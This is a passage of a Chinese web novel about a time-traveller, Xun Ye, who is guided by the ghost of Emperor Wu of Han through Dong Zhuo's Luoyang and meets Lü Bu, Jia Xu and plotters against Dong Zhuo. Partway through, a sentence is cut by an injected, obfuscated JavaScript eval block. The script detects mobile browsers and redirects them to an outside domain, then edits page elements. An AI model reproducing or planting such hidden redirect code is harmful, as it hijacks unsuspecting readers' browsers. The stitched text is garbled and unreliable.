吕大将军恨屋及乌,平等的厌恶董卓身边所有人,他连贾诩是谁都不知道,估计也没怎么和牛辅打过交道。 高顺勤勤恳恳的扛起介绍情况的责任,他们家将军对看不上的家伙过眼就忘,要是没有他在旁边找补人缘肯定比现在还差,“牛将军刚刚打了败仗回京,河东白波贼尚未平定,许是要请将军带兵征讨白波贼。” 吕布白了他一眼,“要我出兵不喊我去相国府,让人到我府上说?” 高顺一本正经,“或许贾校尉只是来传个话。” 吕布懒得搭理这一根筋的傻憨憨,传话的活儿有仆从卫兵干,那个贾什么好歹是个校尉,怎么着也沦落不到跑腿儿的地步。 不对,他堂堂中郎将都被能当成护卫使唤,小小校尉变成跑腿儿的也不是不可能。 上梁不正下梁歪,董卓老贼有眼无珠,他手底下那些亲信肯定也好不哪儿去。 几人有一句没一句说着,等门外脚步声传来便收住话头。 看上去平平无奇的贾诩贾校尉在门房的指引下来到正厅,进来后先朝主位恭恭敬敬行了一礼,然后低眉敛目说明来意,“牛将军久闻吕将军骁勇,先前不在京师无缘相见深感遗憾,明日将军在府上设宴,特遣在下前来相请。” 吕布:??? 真就来传个话啊? 吕大将军看不惯董卓身边的所有人,但是这位过来传话的贾校尉值得他给个好脸色,“知道了,本将军明日会到场。” 这人瞧着得有四十多岁,那么大年纪了还被派来干这种传话的活儿,他是在牛辅打败仗逃跑时绊了牛辅的马腿吗? 刘彻坐在没什么反应的荀晔旁边,很想戳戳他看看小憨憨是不是已经魂游天外,“有人追求风光显赫,有人追求平淡安稳。贾诩喜欢藏巧于拙,不至祸及性命绝不露出锋芒,对他来说泯然众人最安全。” 荀晔面色如常,心里的小人儿已经傻了好一会儿。 阿飘爹说的对,毒士要有人招惹才会变成毒士,没人招惹的毒士是条如假包换的咸鱼,局势还没有乱到他身上他没有理由搞事情。 失策失策,是他想当然了,下次一定先动脑子再做决定。 短短几句话结束,毫不起眼的贾校尉严谨的行礼告退,要不是桌案上多了份请柬跟没人来过一样。 高顺煞有其事的点点头,“贾校尉果然只是来传话。” 吕布一记眼神刀过去,“就你话多。” 荀晔不参与俩人之间的拌嘴,确定没什么事儿了赶紧走人。 三公府邸都在南宫旁,离将军府所在的北宫有段距离,再耽搁一会儿就要中午了,赶在饭点去做客不太礼貌。 马有别人牵!高将军留步! 正要任劳任怨去准备马匹的高顺:…… 刘彻笑的不行,说实话他看不上有勇无谋的吕布,只看史书上那寥寥几句记载,高顺这种清白刚正的悍将更能入他的眼。 就是眼光不太好,跟谁不行非死心塌地的跟吕布。 荀晔握紧拳头,“义父莫慌,在努力了,争取您下次来就能看到孩儿我翻身当家做主人。” 街上行人稀少,只有巡逻的士兵和匆匆而过的官宦车马,看似和之前没什么区别,却又有种格外紧张的感觉。 荀晔皱起眉头,“陛下,您有没有感觉氛围不太对?” 刘彻不紧不慢的飘在马儿上方,眸中笑意逐渐散去,“没什么大事,只是弘农王即将被鸩杀而已。” 握住缰绳的手一紧,马儿感到不适发出嘶鸣。 荀晔连忙回神,拍拍马脖子继续往前走,“今、今天?” 刘彻双手负后,神色晦暗不明,“朕昨夜闲来无事出去散心,正好撞上董卓李儒密谋毒杀弘农王。算算时间,弘农王这会儿已经魂归西天了吧。” 荀晔抬头看看阿飘爹的脸色,不敢说话。 关东联盟以恢复弘农王帝位为由呼吁天下起兵,旗号喊出来的那一刻就注定了弘农王的下场。 事关重大,牛辅身为董卓心腹不会不知情,且不说前天子驾崩适不适合宴请,单这时候朝吕布示好就耐人寻味。 换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14903217|159399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成其他三位爹他们还能讨论一下,猪猪爹就算了,他怕同样出自老刘家的武帝陛下发飙。 难怪早上那么沉默,哪个皇帝遇到这种情况心情都好不了。 “朕又没生气,你哆嗦什么?”猪猪陛下的压迫感转瞬即逝,眨眼间又恢复如常,“董卓马上就会提议迁都长安,你想好怎么翻身当家做主人了吗?” 荀晔心里只有个大概的计划,具体怎么行动还没想好,但是这种时候更不能长他人志气灭自己威风,所以他选择不回答这个问题,“义父看错了,我刚才没哆嗦。” 刘彻:…… 一路无言。 董卓毒杀弘农王的消息还没有传出来,这会儿只是北宫附近的巡逻兵马增多,城中其他地方一应如常。 三公府邸与南宫中皇帝处理政务的东宫、台阁在一条直线,昔日皇帝居于南宫,三公随时能将消息送往台阁或者直接上报皇帝。 皇帝要制衡朝堂,居于南宫三公便能随时掌握帝王动向,所以光武帝的继任者明帝修建北宫来打压以三公为首的世族。 虽置三公,事归台阁。 若非打压世族,外戚宦官也无□□流掌权。 之后历任皇帝的住处在南北二宫来回更换,不过当今天子不一样,南宫在十常侍之乱中被焚毁,他只能住北宫。 南宫苍龙门外从北向南依次是司空府、司徒府、太尉府,因为近些年三公更换的速度太快,三座府邸都显得有些冷清。 额,今天不太冷清。 荀晔翻身下马,看到马厩旁停着的一排马车问道,“今日府上有客?” 仆从在前面引路,“家主身体抱恙,朝中几位大人前来探望。” “叔祖病了?”荀晔愣了一下,上次见面还好好的,怎么会忽然生病? 还不和他打招呼! 主家抱恙,客人探病也不会在待客的正厅,荀晔提心吊胆跟着带路的仆从走,以为要看到的是卧病在床的虚弱叔祖,万幸事情没他想的那么遭。 荀爽披着外衣掩唇咳嗽,只是略有病容,精神看着还挺好,“明光来了。” 荀晔松了口气,快步上前将人扶住,“叔祖生病怎么不和我说一声?” 房间里炉火融融,除了堂兄荀攸外还有四五位直裾袍服的生面孔或站或坐,应该就是马厩旁那些马车的主人。 告诉堂兄不告诉他,叔祖偏心。 “偶感风寒,无甚大碍。”荀爽笑着拍拍侄孙的手,“你赶得巧,正好来拜见几位大人。” 荀晔知道叔祖这是要给他拓展人脉,当即端正态度当个乖巧懂事的别人家小孩儿。 长者宽厚,小辈孝顺,做客的客人也都是体面人,本来应该是宾主尽欢,奈何房间里还有个正常人看不到的阿飘。 荀爽介绍人的时候猪猪陛下也没闲着,他在给便宜儿子打补丁。 “你堂兄荀攸,密谋诛董,事泄下狱。” “长史何顒,密谋诛董,事泄死于狱中。” “议郎郑泰,密谋诛董,事泄逃归袁术。” “侍中种辑,密谋诛董,事泄下落不明。” “越骑校尉伍孚,怀刀刺董,不中,身死族灭。” 荀晔:…… 沉默,震耳欲聋。 就是说,这人非见不可吗?